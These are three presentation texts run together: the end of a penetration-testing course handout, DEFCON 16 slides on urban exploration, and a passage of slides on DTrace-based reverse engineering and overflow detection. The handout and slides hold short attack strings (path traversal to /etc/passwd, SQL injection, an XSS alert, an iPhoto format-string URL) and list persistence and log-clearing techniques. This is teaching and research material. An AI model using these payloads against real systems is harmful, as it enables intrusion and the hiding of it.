Null byte encoding %00 • E.g. index.php?file=../../etc/passwd%00 o Test using ▪ BURP ▪ OWASP ZAP Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 55 LAB Tasks • Test out BURP • Test out OWASP ZAP • Try manual identification of a path traversal Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 56 Common Web Application Attacks Authentication & Authorisation Attacks • Brute Force • Credential Stuffing • Weak Passwords • Session Hijacking • MiTM • XSS Cookie Theft • Bypass Authentication • Redirection Attack • ReturnURL attack (asp.net) • HTTP Parameter Pollution (HPP) • IDOR Injection Attacks • Command Injection • SQLi o Test using “’” in a form POST/GET request o Logic injection: “’ or 1=1--; HTML Injection Inject HTML code e.g. inject links inject or embedded forms (e.g. clickjacking) into areas such as forums etc. Cross Site Scripting (XSS) There are a few types of XSS: • Stored (persistent) • Reflected (reflects then executes) • Blind • DOM-based An example of XSS = alert(‘This site is vulnerable to XSS!’); Cross Site Request Forgery (XSRF) Getting a user to interact with a URL against another site e.g. user visits phishing site, they click on a link to the benign site, but an unwanted action occurs. E.g. adding extra quantities of items to a shopping basket. Clickjacking Setting up an iframe on a malicious site to embed content to masquerade as a site. Can be used with phishing or social engineering. Other Vulnerabilities/Exploits • File Inclusions Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 57 • Local File Inclusion • Remote File Inclusion • Insecure Direct Object Reference (IDOR) • Logic Errors • Timing Issues (Race Conditions) • No Error handling • Insecure Functions • Insecure APIs • Insecure Credential Storage/Transmission • Sensitive Information Disclosure Lab Work • Learn to use SQLMAP • Run SQLMAP through BURP to understand how it works • Run a manual authentication bypass using SQL injection • Test manual exploitation using union selects • Test path traversal to read /etc/passwd • Demonstrate a self-reflected XSS alert • Demonstrate a stored XSS alert • Demonstrate using a stored XSS using BEEF Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 58 Source Code analysis and Compiled Apps Static Code Analysis Source code review while it’s not executing • Manual Source Code Review • Tool based review (SAST – Static Analysis Security Testing) Dynamic Code Analysis • Dynamic (DAST) Fuzzing Fault injection. Random data is sent to the apps looking for crashes or unexpected responses. Reverse Engineering • Debugging o Immunity o Ghidra o WinDbg o OllyDbg o GDB o IDA/IDA Pro • Decompiling o Reverse the compiled binary and converting it to source code ▪ Hex-Rays IDA ▪ VB Decompile ▪ Delphi Decompiler ▪ CFF Explorer ▪ JetBrains DotPeek • Disassembly o Translating machine code into Assembly Code Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 59 Post Exploitation Enumeration Once you have access to a target you will continue to enumerate (recon). Lateral Movement Pivoting • NetCAT o Bind o Reverse Shells • SSH o SSHKeys o AuthorizedHosts • VPN • Routing Tables • Metasploit Forwarder Maintaining Persistence • Create a backdoor account • Create a service/daemon • Backdoors • VPNs • Scheduled Tasks/Cron Jobs • Login scripts, Login Tasks, Start-up Tasks etc. • Rootkits o Firmware o Kernel o Filter Drivers • Implants Evading Security Solutions & Anti-Forensics • Buffer Overflows • Memory Resident Malware • Packing • Virtual Machine Detection • Clearing Logs o Whole Log o Specific Log • Shredding Files • File Metadata Tampering • Log Tampering Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 60 Penetration Test Reporting Key Areas • Categorisation • Prioritisation • Recommendations Report Format • Executive Summary • Technical Findings • Recommendations Considerations • People • Process • Technology • Customer Business Context • Customer Industry Prioritising Findings • Likelihood • Impact • CVSS Score etc. Authentication Recommendations • Don’t hardcode credentials in apps • Random SALT and HASH Passwords • Use strong encryption, avoid weak hashes • User secure transport e.g. do NOT use FTP, use FTPS/SFTP • Don’t use protocols that use weak ciphers • Avoid configurations that allow for downgrade attacks • Monitor unencrypted traffic Authentication Recommendations • Use Multi-factor-authentication o Something you know o Something you have o Something you are • Smart Cards, Smart Phone Apps, Key fobs (Like Yukikey), OTP keys (RSA) Input and Output Sanitisation • Escape characters/Encoding to stop HTML being rendered o E.g. htmlspecialchars() function of PHP Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 61 o HTML Sanitizers (Libraries) ▪ Java HTML ▪ .NET HTML Sanitizer ▪ HTML purifier ▪ SanitizeHelper for RUBY on Rails o Convert HTML to mardown o Prevent NULL Byte by removing the input manually (for older browsers) Parametrisation of Queries (Declared Statements) • More effective at preventing SQLi o Means the parameters are send to a pre-defined template Hardware and Software Hardening Consider: • Environment • Hardware • Software Look at industry standards such as: • CIS Controls • ISO • NIST • SANS Hardening Measures • Check with the vendor • Look at EAL/Common Criteria (Real world) • Ensure firmware and software are updated with updates from the vendor • Physical and/or network segmentation Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 62 Mobile Device Management (MDM) • Centralised Device and App Management • Similar systems (MAM) • Centrally deploy policies MDM Features • PUSH OS, apps and firmware updates • Enrol and authenticate devices • Enforce Policies • Locate Devices • Deploy based on user profiles • Remote Wipe/Remote Lock • Send out PUSH notification • Remote Access • Deploy Containers • Encryption Control Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 63 Secure Software Development • Should follow SDLC (Secure Software Development Lifecycle) which incorporates security throughout the entire lifecycle Testing • Penetration Testing • Static Code Analysis • Fuzzing • Static Code Analysis • Vulnerability Management • Dependency Management SDLC should be: • Clear and simple • Useful and Informative • East to incorporate • Extensible • Have as fewer dependencies as possible • Be concise • Use well-known and established techniques • Integrates with testing processes and harnesses • Aligns with business and design requirements Planning Analysis Testing Design Implementation Maintenance Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 64 Post-Report Delivery Actions • Data Normalization o Format o Structure o Language o Metrics and Measures o Risk Ratings ▪ Impact x Likelihood • Report Structure o Exec Summary o Version Control o Document Distribution o Method o Findings o Conclusion ▪ Successes ▪ Failures ▪ Goal Assessment o Supporting Evidence • Risk Appetite o How hungry are the customer for accepting risk/residual risk? ▪ Compare risk of findings vs risk appetite/tolerance levels o How much loss can be accepted? o What are acceptable levels of availability/loss of availability? • Report Storage o Encrypt at Rest o Encrypt in Transit o Access Control for authorised personnel only o Store for a specific limited amount of time • Report Handling o Destruction • Report Disposition o Formal process of transferring the report to the customer and they then become responsible for it o Sign off by the authorised recipient • Post Engagement Clean up Tasks o Removal of Access/Credentials o Removal of Tools • Acceptance • Attestation of Findings • Lessons Learned • Follow Up Actions Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 65 Useful Exam Theory Links Microsoft Threat Modelling Step 1. Identify Assets Step 2. Create an Architecture Overview Step 3. Decompose the Application Step 4. Identify the Threats Step 5. Document the Threats Step 6. Rate the Threats https://docs.microsoft.com/en-us/previous-versions/msp-n- p/ff648644(v=pandp.10)?redirectedfrom=MSDN IEEE 802.11 Wireless Standard https://en.wikipedia.org/wiki/IEEE_802.11 Random Stuff C2 Frameworks • Covenant • C2 • Cobalt Strike (Commercial) • Metasploit Pro • Core Impact • SharpC2 DNS Tunnelling https://tools.kali.org/maintaining-access/dns2tcp https://code.kryo.se/iodine/ https://github.com/iagox86/dnscat2 Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 66 External Resources The Cyber Mentor Courses on Udemy https://www.thecybermentor.com/ https://twitter.com/thecybermentor HackTheBox https://www.hackthebox.eu/ TryHackMe https://tryhackme.com/ Pluralsight http://pluralsight.com Penetration Testing PUBLIC – Version 0.3 Copyright Xservus Limited Page 67 Proctored Online Exam Details https://home.pearsonvue.com/Documents/Technical-specifications/Online-Proctored/OP- Advanced.aspx Online Practise Questions - Free https://searchsecurity.techtarget.com/quiz/CompTIA-PenTest-practice-test-questions-to-assess- your-knowledge Ordering Exam Vouchers Vouchers Resellers http://www.gracetechsolutions.com/ Windows Vulnerabilities https://www.cvedetails.com/product/32238/Microsoft-Windows-10.html?vendor_id=26 https://www.cvedetails.com/product/739/Microsoft-Windows-Xp.html?vendor_id=26 OS X https://www.cvedetails.com/product/156/Apple-Mac-Os-X.html?vendor_id=49 Resources & Useful Links UAC Bypasses https://medium.com/@z3roTrust/bypassing-windows-user-account-control-back-for-more- dd5672c48600	pdf
Urban Exploration - A Hacker’s View phreakmonkey (K.C.) mutantMandias (Mandias) phreakmonkey.com Latest Slides: http://phreakmonkey.com/dc16-ue.zip DISCLAIMER Urban Exploration can be dangerous. Trespassing can get you arrested, jailed, or killed. Falling great distances can kill you. Exposure to asbestos, dangerous chemicals, lack of oxygen, fire, electricity, or gang violence may be dangerous to your health. Neither phreakmonkey nor mutantMandias advocate any behavior talked about, written about, photographed, or implied in this presentation. Neither phreakmonkey nor mutantMandias are lawyers, and nothing in this presentation should be construed as legal advice. Neither phreakmonkey or mutantMandias are physicians, and nothing in this presentation should be construed as medical advice. In fact, phreakmonkey and mutantMandias are both full of shit - and nothing in this presentation should be construed as serious advice whatsoever. Background: What is Urban Exploration? Urban Exploration is the practice of discovering, exploring, and often photographing the more “off-beat” areas of human civilization. “This hobby consists of a lot more than just poking about in abandoned buildings and storm drains and hanging out on web boards trying to impress people. Being an urban explorer is a whole way of looking at the world, where every ladder, door, window, grate and hole in the ground is a possible portal to adventure.” - Jeff Chapman (“Ninjalicious”), 2004 What do we explore? Civil Buildings: Hospitals, Schools, Institutions Industrial Buildings: Factories, Transportation Utilities & Infrastructure: Steam Tunnels, Storm Drains, Utility Corridors Residential Hotels, High-rises, Houses (“Shanties”) Elementary School, Atlanta, GA Prison, Atlanta, GA Paint Factory, Atlanta, GA Rail Car Factory, Atlanta, GA Steam Tunnels, Atlanta, GA Terminology What Hackers Say 'leet, uber homeless person, bum script kiddie exploit, 'sploit What Explorers Say epic urban camper, hobo tourist PoE (point-of-entry) The UrbEx Subculture Jeff Chapman (“Ninjalicious”) coined “Urban Exploration” & operated the zine “Infiltration” from 1996 – 2005. Several web communities have sprung up over the last ten years. UER.CA (mostly USA) DegGi5.com (NE USA) 28dayslater.co.uk (UK) Others... Explorers vs. Tourists vs. Scenesters Birds of a Feather What Urban Explorers and Computer Hackers have in common Perspective "Behind-the-scenes" view of the word Ability to look at things abstractly Willing to use non-standard entry points Secrecy Built around a subculture with counterculture tendencies Distrusting of newbies Hesitant to allow outsiders in Script Kiddies and Tourists Gray Area Activities Do you use your powers for good or for awesome? Sense of "moral superiority" while engaging in legally questionable behavior ... the latest technology (pwned) Birds of a Feather What Urban Explorers and Computer Hackers have in common Frighteningly similar lack of fashion sense. Black t-shirts are the shiznit, yo! Social Engineering Incredibly effective in UrbEx and Hacking Higher stakes (walking away vs. county lock-up) Exploitation by others Taggers vs. Website Defacers Scrappers vs. Phishers Drug labs, gangs, and k1dd1e-pr0n collectors. (body by UrbEx) Urban Explorers != Graffiti Artists ... but we do get to see some cool graffiti damage done by copper thieves (aka scrappers) So you want to be an explorer... Safety This is a hobby. We do it for fun. Dying is not fun. Off-limits areas do not have to meet safety codes. Abandoned buildings may not be structurally sound. Hazardous materials may be present. Hazardous people may be present. In the basement of an abandoned building, no one can hear you scream. Urban Exploring can be dangerous, even if you do everything right. Structurally Sound? Can you spot the warning signs? How about here? Safety: Rules to Live By The "do list:" Tell someone exactly where you are going, and check in later. Carry a cellphone. Carry as many flashlights as you need + 1. Be very wary of water-damaged floors. Move slowly; look, then move. Wear well fitting, covering clothing that you won't mind tearing. Wear waterproof, sturdy shoes or boots Consider whether gloves, a mask, or other safety equipment are appropriate. Safety: Rules to Live By The "don't list:" Never explore alone. Do not step/crawl/move where you can't see. Do not put any body part you want to keep through a hole of jagged metal or broken glass. Do not climb anything unsturdy. Do not move while looking through a camera. Do not let doors close behind you without checking their openability from both sides. Do not touch, taste, or smell unusual substances to figure out what they are. What's odd about this picture? Oops... Safety: Health Hazards Asbestos There is no known "safe level" of asbestos exposure Mesothelioma develops > 10 years later Deadly Asphyxiation Enclosed spaces Subterranean spaces Often, no indications of "bad air" until you pass out Disease Exposure Pigeon / Rat / Animal waste Human Waste Tetanus, Hepatitis A & B are all preventable with vaccines. Chemical Exposure PCBs, acids, toxic waste all may be present in industrial locations Research the facility before you enter the premesis Wear protective clothing or masks when appropriate. "Investigation Derived Waste" ... yummy! To proceed, or not to proceed... Legality* Trespass laws vary state by state. Look up the local laws! There is nothing wrong with getting permission! Don't break the law! Avoid: Theft Vandalism Breaking and Entering Possession of Burglary Tools The appearance of any of the above Disregarding these rules not only puts you at risk, but makes life harder for the "legitimate" explorers. *Disclaimer: I am not a lawyer, and nothing in this presentation is intended to be legal advice. If in doubt, consult an attorney. No Lock Picks! City Hall East (former Sears Warehouse), Atlanta, GA City Hall East, Atlanta, GA "Atlanta Assembly" Automobile Plant, Hapeville, GA Aircraft Graveyard, North Carolina When to Never Trespass We don't advocate trespassing. That being stated, there are certainly some "gray areas" when it's hard to determine whether you are trespassing or not. The following are not examples of those times. Do not trespass: On or adjacent to airport property. On or adjacent to active US military property. On active US Federal Government facilities or property. On active infrastructure or utilities (waterworks, electricity, &etc) Very special consideration (or permission ) should be granted to: Financial institution property, former military or government property, casino property , &etc. This is not an all-inclusive list. Use your head! Some signs are to be taken seriously... Stealth Appearance Dress to look convincing , not cool. Walk & act "casual, but confident." Credibility Props - coined by Ninjalicious. Alone vs. small groups vs. big groups Be aware of your visibility and act accordingly. Parking What to do when confronted. Introduce yourself first. Be friendly and non-confrontational. Offer to leave peacefully. Oddly "I'm geocaching" is never a better proposition. Do No Harm Subscribe to the Sierra Club motto: "Take nothing but photographs, leave nothing but footprints." Vandalism or B&E increases your likelihood of criminal charges Creating new or obvious points-of-entry (PoE) invites graffiti, theft, squatters, &etc. Be respectful of property owners & future explorers by not changing anything. Life-cycle of an Abandonment Secured Boarded up windows Chained doors Locked Fences Infiltrated Break-in by scrappers, taggers, homeless, &etc At least one Point of Entry (PoE) PoE possibly concealed from view Promiscuous Accessibility well established Multiple PoEs Regular occupancy by taggers, homeless, teenagers, explorers Rapid deterioration of site (graffiti, trash, theft, &etc) Incident Injury, death, murder, or arrest made on site Police involvement Property owner contacted, cycle repeats. Hmm.. how to get in... Discovering Locations Open your eyes! Check likely areas of town for the types of facilities you are interested in. Railroad tracks Industrial Areas Downtown Areas Commercial Property Listings Using the Internet Google Earth / Satellite / Street View Web searches. (ugh. I mean, really, do this last. ) Do not ask explorers online "Where is that location?" akin to emailing someone from #hack and saying "Can I have a 0day for xyz?" For More Information Access All Areas - Ninjalicious Confessions of a Master Jewel Thief - Bill Mason Infiltration Zine - infiltration.org Urban Explorers: Into the Darkness (a film by Melody Gilbert / Channel Z Films) Cities of the Underworld (TV) (UrbEx-esque documentary on the History Channel) Music Videos? :-P (I bet you do.) Q&A / Audience Stories Thanks! Enjoy DEFCON 16! Love the quick profit, the annual raise, vacation with pay. Want more of everything ready-made. Be afraid, to know your neighbors and to die. And you will have a window in your head. Not even your future will be a mystery any more. Your mind will be punched in a card and shut away in a little drawer. When they want you to buy something they will call you. When they want you to die for profit they will let you know. So, friends, every day do something that won't compute. - excerpt from Manifesto:The Mad Farmer Liberation Front by Wendell Berry	pdf
RE:Trace – Applied Reverse Engineering on OS X Tiller Beauchamp SAIC David Weston Microsoft DTRACE BACKGROUND What Is DTrace™? Dtrace was created by Sun Microsystems, Inc. and released under the Common Development and Distribution License (CDDL), a free software license based on the Mozilla Public License (MPL). DTrace Background • Kernel-based dynamic tracing framework • Created by Sun Microsystems • First released with Solaris™ 10 operating System • Now included with Apple OS X Leopard, QNX • June 10th, 2008, committed to CURRENT branch of FreeBSD 7, Will be in 8 STABLE (John Birrell) • OpenBSD, NetBSD, Linux? Solaris™ is a trademark of Sun Microsystems, Inc. in the United States and/or other countries. DTrace Overview • DTrace is a framework for performance observability and debugging in real time • Tracing is made possible by thousands of “probes” placed “on the fly” throughout the system • Probes are points of instrumentation in the kernel • When a program execution passes one of these points, the probe that enabled it is said to have fired • DTrace can bind a set of actions to each probe DTrace Architecture Source: Solaris Dynamic Tracing Guide The D Language • D is an interpreted, block-structured language • D syntax is a subset of C • D programs are compiled into intermediate form • Intermediate form is validated for safety when your program is first examined by the DTrace kernel software • The DTrace execution environment handles any runtime errors The D Language • D does not use control-flow constructs such as if statements and loops • D program clauses are written as single, straight- line statement lists that trace an optional, fixed amount of data • D can conditionally trace data and modify control flow using logical expressions called predicates • A predicate is tested at probe firing before executing any statements DTrace Performance • DTrace is dynamic: probes are enabled only when you need them • No code is present for inactive probes • There is no performance degradation when you are not using DTrace • When the dtrace command exits, all probes are disabled and instrumentation removed • The system is returned to its original state DTrace Uses • DTrace takes the power of multiple tools and unifies them with one programmatically accessible interface • DTrace has features similar to the following: – truss: tracing system calls, user functions – ptrace: tracing library calls – prex/tnf: tracing kernel functions – lockstat: profiling the kernel – gdb: access to kernel/user memory DTrace Uses • DTrace combines system performance statistics, debugging information, and execution analysis into one tight package • A real “Swiss army knife” for reverse engineers • DTrace probes can monitor every part of the system, giving “the big picture” or zooming in for a closer look • Can debug “transient” processes that other debuggers cannot Creating DTrace Scripts • Dozens of ready-to-use scripts are included with Sun’s DTraceToolkit; they can be used as templates • These scripts provide functions such as syscalls by process, reads and writes by process, file access, stack size, CPU time, memory r/w and statistics • Complex problems can often be diagnosed by a single “one-liner” DTrace script Example: Syscall Count 1 2 3 3 4 4309 6899 • System calls count by application: dtrace -n 'syscall:::entry{@[execname] = count();}'. Matched 427 probes Syslogd DirectoryService Finder TextMate Cupsd Ruby vmware-vmx Example: File Open Snoop #!/usr/sbin/dtrace -s syscall::open:entry { printf("%s %s\n", execname, copyinstr(arg0)); } Example: File Snoop Output vmware-vmx /dev/urandom Finder /Library/Preferences/SystemConfiguration/com.apple.smb.server.plist iChat /Library/Preferences/SystemConfiguration/com.apple.smb.server.plist Microsoft Power /Library/Preferences/SystemConfiguration/com.apple.smb.server.plist nmblookup /System/Library/PrivateFrameworks/ByteRange ... ByteRangeLocking nmblookup /dev/dtracehelper nmblookup /dev/urandom nmblookup /dev/autofs_nowait Nmblookup /System/Library/PrivateFrameworks/ByteRange... ByteRangeLocking DTrace Lingo • Probes are points of instrumentation • Providers are logically grouped sets of probes • Examples of providers include syscall, lockstat, fbt, io, mib • Predicates allow actions to be taken only when certain conditions are met • Actions are taken when a probe fires DTrace Syntax Generic D Script Probe: provider:module:function:name Predicate: /some condition that needs to happen/ { Action: action1; action2; (ex: printf(); ) } DTRACE AND REVERSE ENGINEERING (RE) How Can We Use DTrace? DTrace for RE • DTrace is extremely versatile and has many applications for RE • It is very useful for understanding the way a process works and interacts with the rest of the system • DTrace probes work in a manner very similar to debugger “hooks” • DTrace probes are useful because they can be described generically and focused later DTrace for RE • Think of DTrace as a rapid development framework for RE tasks and tools • One of DTrace’s greatest assets is speed • DTrace can instrument any process on the system without starting or stopping it • Complex operations can be understood with a succinct one-line script • You can refine your script as the process continues to run Helpful Features DTrace gives us some valuable features for free: • Control flow indicators • Symbol resolution • Call stack trace • Function parameter values • CPU register values • Both in kernel space and user space! Control Flow 1 -> -[AIContentController finishSendContentObject:] 1 -> -[AIAdium notificationCenter] 1 <- -[AIAdium notificationCenter] 1 -> -[AIContentController processAndSendContentObject:] 1 -> -[AIContentController handleFileSendsForContentMessage:] 1 <- -[AIContentController handleFileSendsForContentMessage:] 1 -> -[AdiumOTREncryption willSendContentMessage:] 1 -> policy_cb 1 -> contactFromInfo 1 -> -[AIAdium contactController] 1 <- -[AIAdium contactController] 1 -> accountFromAccountID Symbol and Stack Trace dyld`strcmp dyld`ImageLoaderMachO::findExportedSymbol(char dyld`ImageLoaderMachO::resolveUndefined(... dyld`ImageLoaderMachO::doBindLazySymbol(unsigned dyld`dyld::bindLazySymbol(mach_header const, ... dyld`stub_binding_helper_interface2+0x15 Ftpd`yylex+0x48 Ftpd`yyparse+0x1d5 ftpd`ftp_loop+0x7c ftpd`main+0xe46 Function Parameters DTrace’s copyin functions allow you to copy data from the process space: printf("arg0=%s", copyinstr( arg0 )) Output: 1 -> strcmp arg0=_isspecial_l CPU Register Values Uregs array allows access to reading CPU registers printf(“EIP:%x”, uregs[R_EIP]); Example: EIP: 0xdeadbeef EAX: 0xffffeae6 EBP: 0xdefacedd ESP: 0x183f6000 Destructive Examples #!/usr/sbin/dtrace -w -s syscall::uname:entry { self->a = arg0; } syscall::uname:return{ copyoutstr(“Windows”, self->a, 257); copyoutstr(“PowerPC”, self->a+257, 257); copyoutstr(“2010.b17”, self->a+(2572), 257); copyoutstr(“fud:2010-10-31”, self->a+(2573), 257); copyoutstr(“PPC”, self->addr+(2574), 257); } Adapted from: Jon Haslam, http://blogs.sun.com/jonh/date/20050321 Snooping syscall::write: entry { self->a = arg0; } syscall::write: return { printf(“write: %s”, copyinstr(self->a); } Got Ideas? Using DTrace: • Monitor stack overflows • Code coverage • Fuzzer feedback • Monitor heap overflows DTrace vs. Debuggers • Don’t think of DTrace as a debugger • User mode and kernel mode debuggers allow you to control execution and inspect process information • DTrace can instrument both the kernel and user land applications at the same time • To trace execution, debuggers use instructions to pause and resume execution • DTrace carries out parallel actions in the kernel when a probe is hit DTrace vs. Debuggers • Traditional debuggers also affect the target process’s memory layout. DTrace doesn’t • DTrace does not directly perform exception handling • DTrace can halt process and transfer control to external debugger • Currently DTrace is not susceptible to traditional anti-debugging techniques (isdebuggerpresent()) • However, Apple has implemented probe blocking with use of the PT_ATTACH_DENY DTrace vs. Tracers • Truss, ltrace, and strace operate one process at a time, with no system-wide capability • Truss reduces application performance • Truss stops threads through procfs, records the arguments for the system call, and then restarts the thread • Valgrind™ is limited to a single process and only runs on Linux • Ptrace is much more efficient at instruction level tracing but it is crippled on OS X Valgrind is Open Source/Free Software and is freely available under the GNU General Public License. DTrace Limitations • The D language does not have conditionals or loops • The output of many functions is to stdout (i.e., stack(), unstack()) • Lack of loops and use of stdout means DTrace is not ideal for processing data • We can fix this • Cannot modify registers :’( epic sad time DTrace Cautionaries A few issues to be aware of: • DTrace drops probes by design • Tune options, narrow trace scope to improve performance • Some libraries and functions behave badly • overflows can cause violations before function return RE with Ruby, DTrace and the Mach API RE:Trace & RE:dbg RE:Trace • RE:Trace combines Ruby with DTrace • Ruby gives us the power of OOP, text processing, iteration • RE:Trace utilizes Ruby libdtrace bindings, written by Chris Andrews • Can be the glue which combines the power of several existing Ruby RE frameworks (idarub, librub, metasm, MSF3) • RE:Trace is similar to programmatic frameworks (pyDBG, noxDBG, immDBG) • Includes script to dump and search memory IdaRub • Wraps IDA interface • Ruby code is the client • Server is IDA plugin • Ruby glues it all together • IdaRub was released by Spoonm at REcon 2006 ida.set_item_color(eip, 3000) More info: http://www.metasploit.com/users/spoonm/idarub/ RE:Trace and Exploit Dev • Vulnerability analysis times can be dramatically reduced with RE:Trace • DTrace probes allow you to track data input flow throughout a process to understand where and why memory corruption took place • Methods that cause stack and heap corruption can be pinpointed using IDARub to integrate IDA’s static analysis features RE:Trace and Code Coverage • DTrace can “hook” every function in a process • This makes it perfect for implementing a “code coverage aware” fuzzer • Code coverage is useful for understanding what areas are being fuzzed • Current RE code coverage monitors are mostly block based (PaiMei) • We can use IDA to obtain block information or check code coverage at the function or instruction level RE:dbg • RE:dbg picks up where RE:Trace left off • Programmatic debugger for mach debug API • Partially exists on OS X in Python (see vtrace and Charlie Miller’s pydbg port) Integrated Ruby based RE Toolset: • Tracing : RE:Trace • Disassembly: IDArub • Debugger reDBG RE:dbg • C code around Mach debugging API with Ruby bindings • Higher level Ruby class to make everything easy • Symbol resolution • Read and write memory • Walk memory segments • Modify memory permissions • Set breakpoints • Exception handling • Interface with IDA ( ... metasm?) iPhoto Format String Exploit • iPhoto format string vuln is a good test for automation • URL handler bug: iphoto://%dd%n • What we want to do is trace with RE:Trace until we hit printf with arg1=%25 (URL encoded %n) • Use idarub to get disassembly info from IDA • Set a break on RET of the function with reDBG • When breakpoint is hit, print out stack return address (or whatever you overwrote) to make sure the overflow was correct RE:Trace/reDBG/IDArub Progtext = “pid$target::__vfprintf:entry /copyinstr(arg2) == "%25n"/ {stop();}” t = Dtrace.new p = t.createprocess([ARGV[0]]) prog = t.compile progtext prog.execute t.go p.Continue ida,sess = IdaRub.auto_client Func = ida.Get_func(eip) function[0..4].each do \|line\| if line == “ret” Dbg = reDBG.new dbg.attach(pid) dbg.setBreak(line) RE:dbg ASLR • ASLR analysis • Start the application, lookup addresses for application and library symbols • Search through all memory for references to those addresses • Rinse and repeat Can you find an address that is always relative to an address of a useful function? RE:dbg Soon! If it’s not up in a week, bug us MONITORING THE STACK Writing a Stack Overflow Monitor with RE:Trace Stack Overflow Monitoring Programmatic control at EIP overflow time allows you to: • Pinpoint the vulnerable function • Reconstruct the function call trace • Halt the process before damage occurs (HIDS) • Dump and search process memory • Send feedback to fuzzer • Attach debugger Overflow Detection in One Probe #/usr/sbin/dtrace -w -s pid$target:::return / uregs[R_EIP] == 0x41414141 / { printf("Don’t tase me bro!!!"); stop() ... } First Approach • Store RETURN value at function entry • uregs[R_SP], NOT uregs[R_ESP] • Compare EIP to saved RETURN value at function return • If different, there was an overflow Simple enough, but false positives from: • Tail call optimizations • Functions without return probes DTrace and Tail Calls • Certain compiler optimizations mess with the standard call/return control flow • Tail calls are an example of such an optimization • Two functions use the same stack frame, saves resources, less instruction • DTrace reports tail calls as a return then a call, even though the return never happens • EIP on return is not in the original calling function, it is the entry to second • Screws up simple stack monitor if not aware of it New Approach • Store RETURN value at function entry • At function return, compare saved RETURN value with CURRENT value • Requires saving both the original return value and its address in memory • Fires when saved RETURN ! = current RETURN and EIP = current RETURN But Missing Return Probes??? Still trouble with functions that “never return” • Some functions misbehave • DTrace does not like function jump tables (dyld_stub_) • Entry probe but no exit probe Determining Missing Returns Using DTrace – l flag • List entry/exit probes for all functions • Find functions with entry but no exit probe Using DTrace aggregates • Run application • Aggregate on function entries and exits • Look for mismatches Exclude these functions with predicates • / probefunc ! = “everybodyJump” / Stack Overflow Video Advanced Tracing Diving in deeper: • Instruction-level tracing • Code coverage with IDA Pro and IdaRub • Profiling idle and GUI code • Feedback to the fuzzer, smart/evolutionary fuzzing • Conditional tracing based on function parameters (reaching vulnerable code paths) CODE COVERAGE Instruction Tracing Code Coverage Approach Approach • Instruction-level tracing using DTrace • Must properly scope tracing • Use IdaRub to send commands to IDA • IDA colors instructions and code blocks • Can be done in real time, if you can keep up Tracing Instructions • The last field of a probe is the offset in the function • Entry = offset 0 • Leave blank for every instruction • Must map static global addresses to function offset addresses Print address of every instruction: pid$target:a.out:: { print(“%d”, uregs[R_EIP]); } Tracing Instructions (cont.) • DTrace to print instructions • Ruby-Dtrace to combined DTrace with Ruby • Idarub and rublib to combined Ruby with IDA Tracing libraries • When tracing libraries, must know memory layout of program • vmmap on OS X will tell you • Use offset to map runtime library EIPs to decompiled libraries Code Coverage with DTrace Capabilities: • Associate fuzz runs with code hit • Visualize code paths • Record number of times blocks were hit • Compare idle traces to other traces Limitations: • Instruction tracing can be slow for some applications • Again, tuning and limiting scope Coverage Visualization Runtime Call Graphs MONITORING THE HEAP Writing a Heap Overflow Monitor Hackin’ the Heap with RE:Trace • The heap has become “the” major attack vector replacing stack-based buffer overflows • Relatively common unlink() write4 primitives are no longer as “easy” to exploit on many platforms • See Aitel and Waisman’s excellent “Debugging with ID” presentation for more details • As they point out, the key to the “new breed” of heap exploit is understanding the heap layout and allocation patterns • ImmDBG can help you with this on Win32, and Gerrado Richarte’s heap tracer can help you with visualization and double free() on Solaris and Linux Hackin’ the Heap with RE:Trace • Many Different ways to use DTrace for heap exploits • Standard double free(), double malloc(), Leak Detection • Heap Visualization (Directed Graphs/OpenGL/Instruments) • Pesky off by one errors • Spot app specific function pointers to overwrite • Find heap overflows/corruptions that might not be immediately dereference OS X Heap Exploits • Ltrace = Bonds on the Pirates, DTrace = Bonds on the Giants • Like Most BSD’s OS X does not store metadata “in-band” • Older techniques such as overwriting initial_malloc_zones function pointers are dead • You now have to overwrite app specific data • DTrace already hooks functions to understand heap layout and allocation patterns • A slew of Heap Tools for OS X (vmmap, MallocScribble, MallocCheckHeap, leaks) Heap Visualization Directed Graph of Heap Allocation Sizes: RE:Trace Heap Smasher() Refresher: • When you malloc() on OS X, you are actually calling the scalable zone allocator, which breaks allocations into different zones by size: Adapted from: OS X Internals A System Approach RE:Trace Heap Smasher() • In our heap smash detector, we must keep track of four different “heaps” • We do this by hooking malloc() calls and storing them to ruby hashes with the pointer as the key and the size allocated as the value • We break the hashes into tiny, small, large, and huge by allocation size • We then hook all allocations and determine if the pointer falls in the range of the previous allocations. We can adjust the heap as memory is free()’d or realloc’d() RE:Trace Heap Smasher() • By hooking C functions (strncpy, memcpy, memmove, etc.) we can determine if they are over-allocating to locations in the heap by looking at the arguments and comparing to our heap records pid$target::strncpy:entry { self->sizer = arg2; printf("copyentry:dst=0x%p\|src=0x%p;size=%i", arg0, arg1, arg2); self->sizer = 0; } RE:Trace Heap Smasher() • We can check to see if the allocation happens in a range we know about • If it does, we know the size allocation, and we can tell if a smash will occur • Compared to our stack smash detector, we need very few probes. A few dozen probes will hook all the functions we need • We can attach to a live process on and off without disturbing it RE:Trace Heap Smasher() • We also keep a hash with the stack frame, which called the original malloc() • When an overflow is detected, we know: – Who allocated it (stack frame) – Who used it (function hook) – Where the overflowed memory is – How large the overflow was – We can find out if its ever free()’d RE:Trace Heap Smasher() Video RE:Trace Heap Smasher() Future additions: • Graphviz/OpenGL Graphs • There is a new version of Firefox which has probes in the JavaScript library • This would give us functionality to help create tools similar to Alexander Sotirov’s HeapLib (Heap Fung Shui) for heap manipulation generically • Can trigger on high level object creation or action, then trace for mallocs • You tell me? DTRACE DEFENSE Using DTrace Defensively Basic HIDS with DTrace • Using Dtrace, you can profile your applications basic behavior • See Stefano Zanero’s BH 06 talk on Anomaly detection through system call argument analysis • You should then be able to trace for anomalies with predicates • This is great for hacking up something to protect a custom application (monitor for return-to-libc) • Easy to create a rails interface for monitoring with Ruby-DTrace Basic HIDS with 